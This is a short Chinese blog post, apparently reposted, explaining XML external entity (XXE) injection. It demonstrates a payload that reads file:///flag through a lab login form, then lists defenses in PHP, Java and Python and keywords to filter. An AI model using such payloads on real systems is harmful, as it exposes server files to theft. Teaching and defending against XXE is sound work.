XXE漏洞利用

Posted xzhome

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XXE漏洞利用相关的知识,希望对你有一定的参考价值。

XXE漏洞利用

简介:

XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

环境搭建:

采用在线环境 地址

漏洞复现:

登录页面

XXE插入语句 

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///flag">  ]>
<user><username>&xxe;</username><password>admin</password></user>

 

只能为一个回车 

漏洞防御:

a.    使用开发语言提供的禁用外部实体的方法

php:
libxml_disable_entity_loader(true);
 
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
 
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

b.    过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

以上是关于XXE漏洞利用的主要内容,如果未能解决你的问题,请参考以下文章

XXE漏洞简介以及Payload收集

XXE漏洞利用

XXE漏洞利用

八漏洞原理及利用XXE 笔记和靶场

XXE漏洞详解与利用

Web漏洞|XXE漏洞详解(XML外部实体注入)